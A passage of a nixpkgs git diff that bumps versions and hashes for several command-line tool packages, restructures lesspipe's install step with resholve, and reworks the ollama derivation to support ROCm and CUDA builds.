b/pkgs/tools/misc/grizzly/default.nix index d16356d6d5ce6..e523571e79f6f 100644 --- a/pkgs/tools/misc/grizzly/default.nix +++ b/pkgs/tools/misc/grizzly/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "grizzly"; - version = "0.3.1"; + version = "0.4.0"; src = fetchFromGitHub { owner = "grafana"; repo = pname; rev = "v${version}"; - hash = "sha256-d/DUazWBT96+dnwVXo667RHALUM2FHxXoI54fFU2HZw="; + hash = "sha256-c+QT3NwfnkVzAb1mqNIuNhSJJOnzME4e3ASawdNBFmg="; }; - vendorHash = "sha256-8myfB2LKDPUCFV9GBSXrBo9E+WrCOCm0ZHKTQ1dEb9U="; + vendorHash = "sha256-EVP2w0mvzzBcrhohM2VmetK8UQu7fauelSa+C+q3n+g="; subPackages = [ "cmd/grr" ]; diff --git a/pkgs/tools/misc/hdf5/default.nix b/pkgs/tools/misc/hdf5/default.nix index 89702cfd1a7f1..ba00746c08f9d 100644 --- a/pkgs/tools/misc/hdf5/default.nix +++ b/pkgs/tools/misc/hdf5/default.nix @@ -76,7 +76,7 @@ stdenv.mkDerivation rec { ++ lib.optional cppSupport "-DHDF5_BUILD_CPP_LIB=ON" ++ lib.optional fortranSupport "-DHDF5_BUILD_FORTRAN=ON" ++ lib.optional szipSupport "-DHDF5_ENABLE_SZIP_SUPPORT=ON" - ++ lib.optionals mpiSupport [ "-DHDF5_ENABLE_PARALLEL=ON" "CC=${mpi}/bin/mpicc" ] + ++ lib.optionals mpiSupport [ "-DHDF5_ENABLE_PARALLEL=ON" ] ++ lib.optional enableShared "-DBUILD_SHARED_LIBS=ON" ++ lib.optional javaSupport "-DHDF5_BUILD_JAVA=ON" ++ lib.optional usev110Api "-DDEFAULT_API_VERSION=v110" diff --git a/pkgs/tools/misc/hunt/default.nix b/pkgs/tools/misc/hunt/default.nix index 38fbf9bc828d9..624f9ec90dc29 100644 --- a/pkgs/tools/misc/hunt/default.nix +++ b/pkgs/tools/misc/hunt/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "hunt"; - version = "2.0.0"; + version = "2.1.0"; src = fetchFromGitHub { owner = "LyonSyonII"; repo = "hunt-rs"; rev = "v${version}"; - sha256 = "sha256-TwxNVT2x9Y0jnLXiIquf/bQ31B+2VwFfh9EFbJQHpt4="; + sha256 = "sha256-noqsxgx2FuSp3ekaaopLUPhq4YYBwM8uf4DzML5xLAE="; }; - cargoHash = "sha256-GU3AXZJ8yGFnj0SXRezS/YI6aS/lJowwo+GBBv5wNik="; + cargoHash = "sha256-JErhe2Hu2Qpb5QoEurdy/WSShjkiV/Fai4/lVkisrEQ="; meta = with lib; { description = "Simplified Find command made with Rust"; diff --git a/pkgs/tools/misc/hwatch/default.nix b/pkgs/tools/misc/hwatch/default.nix index 2eb8be5d2f93e..96621948192a9 100644 --- a/pkgs/tools/misc/hwatch/default.nix +++ b/pkgs/tools/misc/hwatch/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "hwatch"; - version = "0.3.10"; + version = "0.3.11"; src = fetchFromGitHub { owner = "blacknon"; repo = pname; rev = "refs/tags/${version}"; - sha256 = "sha256-RvsL6OajXwEY77W3Wj6GMijYwn7XDnKiJyDXbNG01ag="; + sha256 = "sha256-S6hnmNnwdWd6iFM01K52oiKXiqu/0v5yvKKoeQMEqy0="; }; - cargoHash = "sha256-v7MvXnc9Xa+6QAyi2N9/WtqnvXf9M1SlR86kNjfu46Y="; + cargoHash = "sha256-P4XkbV6QlokedKumX3UbCfEaAqH9VF9IKVyZIumZ6u0="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/misc/hyperledger-fabric/default.nix b/pkgs/tools/misc/hyperledger-fabric/default.nix index b00df9c90273e..e320b0355e4e8 100644 --- a/pkgs/tools/misc/hyperledger-fabric/default.nix +++ b/pkgs/tools/misc/hyperledger-fabric/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "hyperledger-fabric"; - version = "2.5.1"; + version = "2.5.5"; src = fetchFromGitHub { owner = "hyperledger"; repo = "fabric"; rev = "v${version}"; - hash = "sha256-hZAGLSf/hez2pvfmaZJRD5b7GW3+exUXgLXUd2Awvpg="; + hash = "sha256-Ev9a+d15kr6apKyGR5xTa/2I3cByyPSTW2Y+HAQk9GU="; }; vendorHash = null; diff --git a/pkgs/tools/misc/ili2c/default.nix b/pkgs/tools/misc/ili2c/default.nix index ac4e3274e308b..99c1353631e90 100644 --- a/pkgs/tools/misc/ili2c/default.nix +++ b/pkgs/tools/misc/ili2c/default.nix @@ -62,7 +62,7 @@ stdenv.mkDerivation (finalAttrs: { binaryBytecode # source bundles dependencies as jars ]; license = licenses.lgpl21Plus; - maintainers = [ maintainers.das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ das-g ]; platforms = platforms.linux; mainProgram = "ili2c"; }; diff --git a/pkgs/tools/misc/interactsh/default.nix b/pkgs/tools/misc/interactsh/default.nix index 3331e5aebc6cf..894bf14457234 100644 --- a/pkgs/tools/misc/interactsh/default.nix +++ b/pkgs/tools/misc/interactsh/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "interactsh"; - version = "1.1.8"; + version = "1.1.9"; src = fetchFromGitHub { owner = "projectdiscovery"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-wGxviByvtn72OvFIdjhzUuHwJTWvXhGsL/jSIICW5ig="; + hash = "sha256-IpKsKfu2mVLyrR0wnbraV/0aaX7uRleGbl3q4bv90Eg="; }; - vendorHash = "sha256-HguNO3Vb3+bTLGi1bm097IXVsRU3bnAFsX/vneOWxss="; + vendorHash = "sha256-xUMEmeoE3Th37kgz5LJg3F27RlKBoIhRf0VfRzkgV2A="; modRoot = "."; subPackages = [ diff --git a/pkgs/tools/misc/ipxe/default.nix b/pkgs/tools/misc/ipxe/default.nix index 2c1b16d29925c..293c32b3e6ff2 100644 --- a/pkgs/tools/misc/ipxe/default.nix +++ b/pkgs/tools/misc/ipxe/default.nix @@ -33,7 +33,7 @@ in stdenv.mkDerivation rec { pname = "ipxe"; - version = "unstable-2024-01-19"; + version = "unstable-2024-02-08"; nativeBuildInputs = [ gnu-efi mtools openssl perl xorriso xz ] ++ lib.optional stdenv.hostPlatform.isx86 syslinux; depsBuildBuild = [ buildPackages.stdenv.cc ]; @@ -43,8 +43,8 @@ stdenv.mkDerivation rec { src = fetchFromGitHub { owner = "ipxe"; repo = "ipxe"; - rev = "de8a0821c7bc737e724fa3dfb6d89dc36f591d7a"; - hash = "sha256-bVFr1fTulww6swWPKupWRGfQOAiXp2oP1/VC5GpzLnY="; + rev = "a846c4ccfc7db212dff792e081991df17268b4d5"; + hash = "sha256-4BvAwZ09EZJXBkdkZHLw0qjOqasNaN6RF4wmTfPVTWc="; }; postPatch = lib.optionalString stdenv.hostPlatform.isAarch64 '' diff --git a/pkgs/tools/misc/ksnip/default.nix b/pkgs/tools/misc/ksnip/default.nix index 60ba06a299305..8e5cc40740cc3 100644 --- a/pkgs/tools/misc/ksnip/default.nix +++ b/pkgs/tools/misc/ksnip/default.nix @@ -3,6 +3,7 @@ , cmake , extra-cmake-modules , fetchFromGitHub +, fetchpatch , kcolorpicker , kimageannotator , wrapQtAppsHook @@ -22,6 +23,18 @@ stdenv.mkDerivation rec { sha256 = "sha256-n7YwDXd73hyrzb6L8utZFuHh9HnjVtkU6CC4jfWPj/I="; }; + patches = [ + # Fix build with latest kImageAnnotator + (fetchpatch { + url = "https://github.com/ksnip/ksnip/commit/76f4b381971eead6ff31b8bf3bb64bb5717469c3.patch"; + hash = "sha256-JWoI974qDNZIzr/8oksI8m6g3XNWEaQRGsqSfvQrmao="; + }) + ]; + + postPatch = '' + substituteInPlace src/CMakeLists.txt --replace-fail "kColorPicker::kColorPicker" "kColorPicker::kColorPicker-Qt5" + ''; + nativeBuildInputs = [ cmake extra-cmake-modules diff --git a/pkgs/tools/misc/leanify/default.nix b/pkgs/tools/misc/leanify/default.nix index 8a6cfbe338272..a8a7625bcbecd 100644 --- a/pkgs/tools/misc/leanify/default.nix +++ b/pkgs/tools/misc/leanify/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "leanify"; - version = "unstable-2022-12-04"; + version = "unstable-2023-10-19"; src = fetchFromGitHub { owner = "JayXon"; repo = "Leanify"; - rev = "7847668ac5bf0df1d940b674bc8b907bd1b37044"; - hash = "sha256-KxVV7AW9sEfH4YTPDfeJk7fMMGh0eSkECXM/Mv9XqBA="; + rev = "5511415b02a7669f5fe9b454e5705e8328ab0359"; + hash = "sha256-eOp/SOynh0HUz62Ki5ADRk7FjQY0Gh55ydVnO0MCXAA="; }; postPatch = lib.optionalString stdenv.isDarwin '' diff --git a/pkgs/tools/misc/lesspipe/default.nix b/pkgs/tools/misc/lesspipe/default.nix index c7978485c7e47..5bc3f97c3c78a 100644 --- a/pkgs/tools/misc/lesspipe/default.nix +++ b/pkgs/tools/misc/lesspipe/default.nix @@ -1,4 +1,22 @@ -{ lib, stdenv, fetchFromGitHub, makeWrapper, perl, procps, file, gnused, bash, binutils }: +{ lib +, stdenv +, fetchFromGitHub +, makeWrapper +, perl +, procps +, bash + +# shell referenced dependencies +, resholve +, binutils-unwrapped +, file +, gnugrep +, coreutils +, gnused +, gnutar +, iconv +, ncurses +}: stdenv.mkDerivation rec { pname = "lesspipe"; @@ -28,9 +46,65 @@ stdenv.mkDerivation rec { installFlags = [ "DESTDIR=$(out)" ]; postInstall = '' - for f in lesspipe.sh lesscomplete; do - wrapProgram "$out/bin/$f" --prefix-each PATH : "${lib.makeBinPath [ binutils file gnused procps ]}" - done + # resholve doesn't see strings in an array definition + substituteInPlace $out/bin/lesspipe.sh --replace 'nodash strings' "nodash ${binutils-unwrapped}/bin/strings" + + ${resholve.phraseSolution "lesspipe.sh" { + scripts = [ "bin/lesspipe.sh" ]; + interpreter = "${bash}/bin/bash"; + inputs = [ + coreutils + file + gnugrep + gnused + gnutar + iconv + procps + ncurses + ]; + keep = [ "$prog" "$c1" "$c2" "$c3" "$c4" "$c5" "$cmd" "$colorizer" "$HOME" ]; + fake = { + # script guards usage behind has_cmd test function, it's safe to leave these external and optional + external = [ + "cpio" "isoinfo" "cabextract" "bsdtar" "rpm2cpio" "bsdtar" "unzip" "ar" "unrar" "rar" "7zr" "7za" "isoinfo" + "gzip" "bzip2" "lzip" "lzma" "xz" "brotli" "compress" "zstd" "lz4" + "archive_color" "bat" "batcat" "pygmentize" "source-highlight" "vimcolor" "code2color" + + "w3m" "lynx" "elinks" "html2text" "dtc" "pdftotext" "pdftohtml" "pdfinfo" "ps2ascii" "procyon" "ccze" + "mdcat" "pandoc" "docx2txt" "libreoffice" "pptx2md" "mdcat" "xlscat" "odt2txt" "wvText" "antiword" "catdoc" + "broken_catppt" "sxw2txt" "groff" "mandoc" "unrtf" "dvi2tty" "pod2text" "perldoc" "h5dump" "ncdump" "matdump" + "djvutxt" "openssl" "gpg" "plistutil" "plutil" "id3v2" "csvlook" "jq" "zlib-flate" "lessfilter" + ] ++ lib.optional stdenv.isDarwin [ + # resholve only identifies this on darwin + # call site is gaurded by || so it's safe to leave dynamic + "locale" + ]; + builtin = [ "setopt" ]; + }; + execer = [ + "cannot:${iconv}/bin/iconv" + ]; + }} + ${resholve.phraseSolution "lesscomplete" { + scripts = [ "bin/lesscomplete" ]; + interpreter = "${bash}/bin/bash"; + inputs = [ + coreutils + file + gnugrep + gnused + gnutar + ]; + keep = [ "$prog" "$c1" "$c2" "$c3" "$c4" "$c5" "$cmd" ]; + fake = { + # script guards usage behind has_cmd test function, it's safe to leave these external and optional + external = [ + "cpio" "isoinfo" "cabextract" "bsdtar" "rpm2cpio" "bsdtar" "unzip" "ar" "unrar" "rar" "7zr" "7za" "isoinfo" + "gzip" "bzip2" "lzip" "lzma" "xz" "brotli" "compress" "zstd" "lz4" + ]; + builtin = [ "setopt" ]; + }; + }} ''; meta = with lib; { diff --git a/pkgs/tools/misc/lockfile-progs/default.nix b/pkgs/tools/misc/lockfile-progs/default.nix index eec9564f0f5cf..4d85d95c6de98 100644 --- a/pkgs/tools/misc/lockfile-progs/default.nix +++ b/pkgs/tools/misc/lockfile-progs/default.nix @@ -19,7 +19,7 @@ stdenv.mkDerivation rec { installPhase = '' runHook preInstall mkdir -p $out/bin $out/man/man1 - install -s bin/* $out/bin + install bin/* $out/bin install man/*.1 $out/man/man1 runHook postInstall ''; diff --git a/pkgs/tools/misc/mise/default.nix b/pkgs/tools/misc/mise/default.nix index c26ffdb8b8010..959be1430da5d 100644 --- a/pkgs/tools/misc/mise/default.nix +++ b/pkgs/tools/misc/mise/default.nix @@ -17,16 +17,16 @@ rustPlatform.buildRustPackage rec { pname = "mise"; - version = "2024.2.5"; + version = "2024.2.19"; src = fetchFromGitHub { owner = "jdx"; repo = "mise"; rev = "v${version}"; - hash = "sha256-dShe8h1aRDZPwzCKAhJag5xfylYqWJuCiB9A4afV8g0="; + hash = "sha256-SDGXSjCDdtjKn474s2SQm9YDHofMOmHuodLS2iu10Co="; }; - cargoHash = "sha256-3yV26WZid5e7H9UsAaKLjSvL1MSQ+M5BjBR5Mt701Io="; + cargoHash = "sha256-4MEBIZOXjcLEyW0TB+AXWsEc24VZz8bGCkduHqbazuo="; nativeBuildInputs = [ installShellFiles pkg-config ]; buildInputs = [ openssl ] ++ lib.optionals stdenv.isDarwin [ Security SystemConfiguration ]; diff --git a/pkgs/tools/misc/mmv/default.nix b/pkgs/tools/misc/mmv/default.nix index c8ce33207787a..f2d2bd81ae111 100644 --- a/pkgs/tools/misc/mmv/default.nix +++ b/pkgs/tools/misc/mmv/default.nix @@ -3,13 +3,13 @@ stdenv.mkDerivation rec { pname = "mmv"; - version = "2.5.1"; + version = "2.6"; src = fetchFromGitHub { owner = "rrthomas"; repo = "mmv"; rev = "v${version}"; - sha256 = "sha256-01MJjYVPfDaRkzitqKXTJZHbkkZTEaFoyYZEEMizHp0="; + sha256 = "sha256-hYSTENSmkJP5rAemDyTzbzMKFrWYcMpsJDRWq43etTM="; fetchSubmodules = true; }; @@ -19,11 +19,13 @@ stdenv.mkDerivation rec { nativeBuildInputs = [ gengetopt m4 git gnupg perl autoconf automake help2man pkg-config ]; buildInputs = [ boehmgc ]; + enableParallelBuilding = true; env = lib.optionalAttrs stdenv.cc.isClang { NIX_CFLAGS_COMPILE = toString [ "-Wno-error=implicit-function-declaration" "-Wno-error=implicit-int" + "-Wno-error=int-conversion" ]; }; diff --git a/pkgs/tools/misc/moar/default.nix b/pkgs/tools/misc/moar/default.nix index c3cba7b2aa597..0fa109f4cda87 100644 --- a/pkgs/tools/misc/moar/default.nix +++ b/pkgs/tools/misc/moar/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "moar"; - version = "1.23.5"; + version = "1.23.6"; src = fetchFromGitHub { owner = "walles"; repo = pname; rev = "v${version}"; - hash = "sha256-DOscmjLjQnHUGrVPO/rwICPDWVzfE3yu3u84qCmwfgs="; + hash = "sha256-WWMFyDLNi5XUEWi33Sav69i41icbp7NTzFy+Y+ImGNU="; }; vendorHash = "sha256-1u/2OlMX2FuZaxWnpU4n5r/4xKe+rK++GoCJiSq/BdE="; diff --git a/pkgs/tools/misc/mongodb-compass/default.nix b/pkgs/tools/misc/mongodb-compass/default.nix index 0109ac49cc26e..0bd72f25689db 100644 --- a/pkgs/tools/misc/mongodb-compass/default.nix +++ b/pkgs/tools/misc/mongodb-compass/default.nix @@ -33,7 +33,7 @@ xorg, }: let - version = "1.42.0"; + version = "1.42.2"; rpath = lib.makeLibraryPath [ alsa-lib @@ -82,7 +82,7 @@ let if stdenv.hostPlatform.system == "x86_64-linux" then fetchurl { url = "https://downloads.mongodb.com/compass/mongodb-compass_${version}_amd64.deb"; - sha256 = "sha256-Y4ULngeAFljjQG9KTWhU/fIEXBUqbEx2qSakYYnOJoQ="; + sha256 = "sha256-NvHFsB+wXNq2XmHb2tYI1P9vUXwVcwbhR645LjHM0/Y="; } else throw "MongoDB compass is not supported on ${stdenv.hostPlatform.system}"; diff --git a/pkgs/tools/misc/moreutils/default.nix b/pkgs/tools/misc/moreutils/default.nix index 6975d4878c52f..7d7dd80d7e7a7 100644 --- a/pkgs/tools/misc/moreutils/default.nix +++ b/pkgs/tools/misc/moreutils/default.nix @@ -14,12 +14,12 @@ stdenv.mkDerivation rec { pname = "moreutils"; - version = "0.68"; + version = "0.69"; src = fetchgit { url = "git://git.joeyh.name/moreutils"; rev = "refs/tags/${version}"; - hash = "sha256-kOY12oejH0xKaaPrKem+l0PACqyPqD4P1jEjOYfNntM="; + hash = "sha256-hVvRAIXlG8+pAD2v/Ma9Z6EUL/1xIRz7Gx1fOxoQyi0="; }; preBuild = '' diff --git a/pkgs/tools/misc/mpremote/default.nix b/pkgs/tools/misc/mpremote/default.nix index 18b6dc9a4cde2..892ee9756dbc3 100644 --- a/pkgs/tools/misc/mpremote/default.nix +++ b/pkgs/tools/misc/mpremote/default.nix @@ -9,13 +9,13 @@ }: buildPythonApplication rec { pname = "mpremote"; - version = "1.22.1"; + version = "1.22.2"; src = fetchFromGitHub { owner = "micropython"; repo = "micropython"; rev = "refs/tags/v${version}"; - hash = "sha256-tGFXJW1RkUs/64Yatgg/1zZFPDQdu76uiMjNU8ebdvg="; + hash = "sha256-67CAR34VrMOzvNkukDeGRnUfoOLO66R37wsrRHjpp5E="; }; sourceRoot = "source/tools/mpremote"; format = "pyproject"; diff --git a/pkgs/tools/misc/nautilus-open-any-terminal/default.nix b/pkgs/tools/misc/nautilus-open-any-terminal/default.nix index 54e85c063633b..b200731ab8f24 100644 --- a/pkgs/tools/misc/nautilus-open-any-terminal/default.nix +++ b/pkgs/tools/misc/nautilus-open-any-terminal/default.nix @@ -14,14 +14,14 @@ python3.pkgs.buildPythonPackage rec { pname = "nautilus-open-any-terminal"; - version = "0.5.0"; + version = "0.5.1"; pyproject = true; src = fetchFromGitHub { owner = "Stunkymonkey"; repo = pname; - rev = version; - hash = "sha256-fcTbt8O/7KEme5+GlDD7hMMcE2RaYqFdfojzJ1KhnA0="; + rev = "refs/tags/${version}"; + hash = "sha256-liyzgbZGl08gHLVpsy8NbTiTytNdiMdymF70ik4cPXs="; }; patches = [ ./hardcode-gsettings.patch ]; diff --git a/pkgs/tools/misc/nb/default.nix b/pkgs/tools/misc/nb/default.nix index 141b80b15a5fa..5d394f1c7b190 100644 --- a/pkgs/tools/misc/nb/default.nix +++ b/pkgs/tools/misc/nb/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "nb"; - version = "7.11.0"; + version = "7.12.1"; src = fetchFromGitHub { owner = "xwmx"; repo = "nb"; rev = version; - sha256 = "sha256-A7RC8Zsj746lVm9uqD1W+9gRA/zC+p12WsVVudGBxa8="; + sha256 = "sha256-vy2WrFh4ukc6f0YFVaHvw0k1Wm9mdhh9p2MKLc/566U="; }; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/misc/nbqa/default.nix b/pkgs/tools/misc/nbqa/default.nix index 0c55c78f7b496..10115affcca26 100644 --- a/pkgs/tools/misc/nbqa/default.nix +++ b/pkgs/tools/misc/nbqa/default.nix @@ -7,14 +7,14 @@ }: python3.pkgs.buildPythonApplication rec { pname = "nbqa"; - version = "1.7.1"; + version = "1.8.3"; pyproject = true; src = fetchFromGitHub { owner = "nbQA-dev"; repo = "nbQA"; rev = "refs/tags/${version}"; - hash = "sha256-a/FuhJyf8BmZekUibzEiGgkHL51A+75R4a6S+h5i28s="; + hash = "sha256-RucDwXXEOTInhV/hk6gYXUmxUu660/pSTrBtHLrLkQ8="; }; nativeBuildInputs = with python3.pkgs; [ @@ -81,6 +81,7 @@ python3.pkgs.buildPythonApplication rec { "test_running_in_different_dir_works" "test_unable_to_reconstruct_message_pythonpath" "test_with_subcommand" + "test_pylint_works" ]; disabledTestPaths = [ diff --git a/pkgs/tools/misc/notify/default.nix b/pkgs/tools/misc/notify/default.nix index be7c6daf8e471..efbbd7ce6eb30 100644 --- a/pkgs/tools/misc/notify/default.nix +++ b/pkgs/tools/misc/notify/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "notify"; - version = "1.0.5"; + version = "1.0.6"; src = fetchFromGitHub { owner = "projectdiscovery"; repo = pname; rev = "v${version}"; - sha256 = "sha256-CXzxrY8G7Zh5xafuiIY9SsPkrYoSkMt15v2KLZBs0Jo="; + sha256 = "sha256-9oakHqDhOZyqzlVqHPjTsG2f780DABt0+JRckmkWW64="; }; - vendorHash = "sha256-tjaVEmOd/MJnDcS/mhvw95ZZ8giaUDTdDTyAMbjTckM="; + vendorHash = "sha256-/FJECY1x9nMqOIzqdN6T+vdi9qjjY0YAoqvVNf0kN3s="; modRoot = "."; subPackages = [ diff --git a/pkgs/tools/misc/ollama/cmake-include.patch b/pkgs/tools/misc/ollama/cmake-include.patch new file mode 100644 index 0000000000000..013ed66bf91c6 --- /dev/null +++ b/pkgs/tools/misc/ollama/cmake-include.patch @@ -0,0 +1,7 @@ +--- a/llm/llama.cpp/examples/server/CMakeLists.txt ++++ b/llm/llama.cpp/examples/server/CMakeLists.txt +@@ -11,3 +11,4 @@ + TARGET_LINK_LIBRARIES(${TARGET} PRIVATE ws2_32) + endif() + target_compile_features(${TARGET} PRIVATE cxx_std_11) ++include (../../../ext_server/CMakeLists.txt) # ollama diff --git a/pkgs/tools/misc/ollama/default.nix b/pkgs/tools/misc/ollama/default.nix index 2176582e1fe9f..36546b5869a6f 100644 --- a/pkgs/tools/misc/ollama/default.nix +++ b/pkgs/tools/misc/ollama/default.nix @@ -1,36 +1,160 @@ { lib , buildGoModule , fetchFromGitHub -, llama-cpp +, fetchpatch +, buildEnv +, linkFarm +, overrideCC +, makeWrapper +, stdenv + +, pkgs +, cmake +, gcc12 +, clblast +, libdrm +, rocmPackages +, cudaPackages +, linuxPackages +, darwin + + # one of `[ null "rocm" "cuda" ]` +, acceleration ? null }: -buildGoModule rec { +let pname = "ollama"; - version = "0.1.17"; - + version = "0.1.28"; src = fetchFromGitHub { owner = "jmorganca"; repo = "ollama"; rev = "v${version}"; - hash = "sha256-eXukNn9Lu1hF19GEi7S7a96qktsjnmXCUp38gw+3MzY="; + hash = "sha256-8f7veZitorNiqGBPJuf/Y36TcFK8Q75Vw4w6CeTk8qs="; + fetchSubmodules = true; }; - patches = [ - # disable passing the deprecated gqa flag to llama-cpp-server - # see https://github.com/ggerganov/llama.cpp/issues/2975 - ./disable-gqa.patch + validAccel = lib.assertOneOf "ollama.acceleration" acceleration [ null "rocm" "cuda" ]; + + warnIfNotLinux = api: (lib.warnIfNot stdenv.isLinux + "building ollama with `${api}` is only supported on linux; falling back to cpu" + stdenv.isLinux); + enableRocm = validAccel && (acceleration == "rocm") && (warnIfNotLinux "rocm"); + enableCuda = validAccel && (acceleration == "cuda") && (warnIfNotLinux "cuda"); + + rocmClang = linkFarm "rocm-clang" { + llvm = rocmPackages.llvm.clang; + }; + rocmPath = buildEnv { + name = "rocm-path"; + paths = [ + rocmPackages.rocm-device-libs + rocmClang + ]; + }; + + cudaToolkit = buildEnv { + name = "cuda-toolkit"; + ignoreCollisions = true; # FIXME: find a cleaner way to do this without ignoring collisions + paths = [ + cudaPackages.cudatoolkit + cudaPackages.cuda_cudart + ]; + }; - # replace the call to the bundled llama-cpp-server with the one in the llama-cpp package - ./set-llamacpp-path.patch + runtimeLibs = lib.optionals enableRocm [ + rocmPackages.rocm-smi + ] ++ lib.optionals enableCuda [ + linuxPackages.nvidia_x11 ]; + appleFrameworks = darwin.apple_sdk_11_0.frameworks; + metalFrameworks = [ + appleFrameworks.Accelerate + appleFrameworks.Metal + appleFrameworks.MetalKit + appleFrameworks.MetalPerformanceShaders + ]; + + + goBuild = + if enableCuda then + buildGoModule.override { stdenv = overrideCC stdenv gcc12; } + else + buildGoModule; + preparePatch = patch: hash: fetchpatch { + url = "file://${src}/llm/patches/${patch}"; + inherit hash; + stripLen = 1; + extraPrefix = "llm/llama.cpp/"; + }; + inherit (lib) licenses platforms maintainers; +in +goBuild ((lib.optionalAttrs enableRocm { + ROCM_PATH = rocmPath; + CLBlast_DIR = "${clblast}/lib/cmake/CLBlast"; +}) // (lib.optionalAttrs enableCuda { + CUDA_LIB_DIR = "${cudaToolkit}/lib"; + CUDACXX = "${cudaToolkit}/bin/nvcc"; + CUDAToolkit_ROOT = cudaToolkit; +}) // { + inherit pname version src; + vendorHash = "sha256-DPIhDqE/yXpSQqrx07osMBMafK61yU2dl4cZhxSTvm8="; + + nativeBuildInputs = [ + cmake + ] ++ lib.optionals (enableRocm || enableCuda) [ + makeWrapper + ] ++ lib.optionals stdenv.isDarwin + metalFrameworks; + + buildInputs = lib.optionals enableRocm [ + rocmPackages.clr + rocmPackages.hipblas + rocmPackages.rocblas + rocmPackages.rocsolver + rocmPackages.rocsparse + libdrm + ] ++ lib.optionals enableCuda [ + cudaPackages.cuda_cudart + ] ++ lib.optionals stdenv.isDarwin + metalFrameworks; + + patches = [ + # remove uses of `git` in the `go generate` script + # instead use `patch` where necessary + ./remove-git.patch + # replace a hardcoded use of `g++` with `$CXX` + ./replace-gcc.patch + + # ollama's patches of llama.cpp's example server + # `ollama/llm/generate/gen_common.sh` -> "apply temporary patches until fix is upstream" + (preparePatch "01-cache.diff" "sha256-MTTln2G0G8dntihUzEjPM1ruTsApb4ZToBczJb8EG68=") + (preparePatch "02-cudaleaks.diff" "sha256-Cu7E9iEcvddPL9mPPI5Z96qmwWigi3f0WgSpPRjGc88=") + ]; postPatch = '' - substituteInPlace llm/llama.go \ - --subst-var-by llamaCppServer "${llama-cpp}/bin/llama-cpp-server" - substituteInPlace server/routes_test.go --replace "0.0.0" "${version}" + # use a patch from the nix store in the `go generate` script + substituteInPlace llm/generate/gen_common.sh \ + --subst-var-by cmakeIncludePatch '${./cmake-include.patch}' + # `ollama/llm/generate/gen_common.sh` -> "avoid duplicate main symbols when we link into the cgo binary" + substituteInPlace llm/llama.cpp/examples/server/server.cpp \ + --replace-fail 'int main(' 'int __main(' + # replace inaccurate version number with actual release version + substituteInPlace version/version.go --replace-fail 0.0.0 '${version}' + ''; + preBuild = '' + export OLLAMA_SKIP_PATCHING=true + # build llama.cpp libraries for ollama + go generate ./... + ''; + postFixup = '' + # the app doesn't appear functional at the moment, so hide it + mv "$out/bin/app" "$out/bin/.ollama-app" + '' + lib.optionalString (enableRocm || enableCuda) '' + # expose runtime libraries necessary to use the gpu + mv "$out/bin/ollama" "$out/bin/.ollama-unwrapped" + makeWrapper "$out/bin/.ollama-unwrapped" "$out/bin/ollama" \ + --suffix LD_LIBRARY_PATH : '/run/opengl-driver/lib:${lib.makeLibraryPath runtimeLibs}' ''; - - vendorHash = "sha256-yGdCsTJtvdwHw21v0Ot6I8gxtccAvNzZyRu1T0vaius="; ldflags = [ "-s" @@ -39,12 +163,18 @@ buildGoModule rec { "-X=github.com/jmorganca/ollama/server.mode=release" ]; - meta = with lib; { + # for now, just test that rocm and cuda build + passthru.tests = lib.optionalAttrs stdenv.isLinux { + rocm = pkgs.ollama.override { acceleration = "rocm"; }; + cuda = pkgs.ollama.override { acceleration = "cuda"; }; + }; + + meta = { description = "Get up and running with large language models locally"; homepage = "https://github.com/jmorganca/ollama"; license = licenses.mit; - mainProgram = "ollama"; - maintainers = with maintainers; [ dit7ya elohmeier ]; platforms = platforms.unix; + mainProgram = "ollama"; + maintainers = with maintainers; [ abysssol dit7ya elohmeier ]; }; -} +}) diff --git a/pkgs/tools/misc/ollama/disable-gqa.patch b/pkgs/tools/misc/ollama/disable-gqa.patch deleted file mode 100644 index b54440cd3d539..0000000000000 --- a/pkgs/tools/misc/ollama/disable-gqa.patch +++ /dev/null @@ -1,15 +0,0 @@ -diff --git a/llm/llama.go b/llm/llama.go -index 0b460e9..b79e04a 100644 ---- a/llm/llama.go -+++ b/llm/llama.go -@@ -299,10 +299,6 @@ func newLlama(model string, adapters []string, runners []ModelRunner, numLayers - params = append(params, "--n-gpu-layers", fmt.Sprintf("%d", numGPU)) - } - -- if opts.NumGQA > 0 { -- params = append(params, "--gqa", fmt.Sprintf("%d", opts.NumGQA)) -- } -- - if len(adapters) > 0 { - // TODO: applying multiple adapters is not supported by the llama.cpp server yet - params = append(params, "--lora", adapters[0]) diff --git a/pkgs/tools/misc/ollama/remove-git.patch b/pkgs/tools/misc/ollama/remove-git.patch new file mode 100644 index 0000000000000..9ef4487051ff1 --- /dev/null +++ b/pkgs/tools/misc/ollama/remove-git.patch @@ -0,0 +1,21 @@ +--- a/llm/generate/gen_common.sh ++++ b/llm/generate/gen_common.sh +@@ -60,6 +60,9 @@ + } + + apply_patches() { ++ patch -i '@cmakeIncludePatch@' "${LLAMACPP_DIR}/examples/server/CMakeLists.txt" ++ return ++ + # Wire up our CMakefile + if ! grep ollama ${LLAMACPP_DIR}/examples/server/CMakeLists.txt; then + echo 'include (../../../ext_server/CMakeLists.txt) # ollama' >>${LLAMACPP_DIR}/examples/server/CMakeLists.txt +@@ -113,6 +116,8 @@ + + # Keep the local tree clean after we're done with the build + cleanup() { ++ return ++ + (cd ${LLAMACPP_DIR}/examples/server/ && git checkout CMakeLists.txt server.cpp) + + if [ -n "$(ls -A ../patches/*.diff)" ]; then diff --git a/pkgs/tools/misc/ollama/replace-gcc.patch b/pkgs/tools/misc/ollama/replace-gcc.patch new file mode 100644 index 0000000000000..2ebd24e1dc3f1 --- /dev/null +++ b/pkgs/tools/misc/ollama/replace-gcc.patch @@ -0,0 +1,11 @@ +--- a/llm/generate/gen_common.sh ++++ b/llm/generate/gen_common.sh +@@ -86,7 +89,7 @@ + cmake -S ${LLAMACPP_DIR} -B 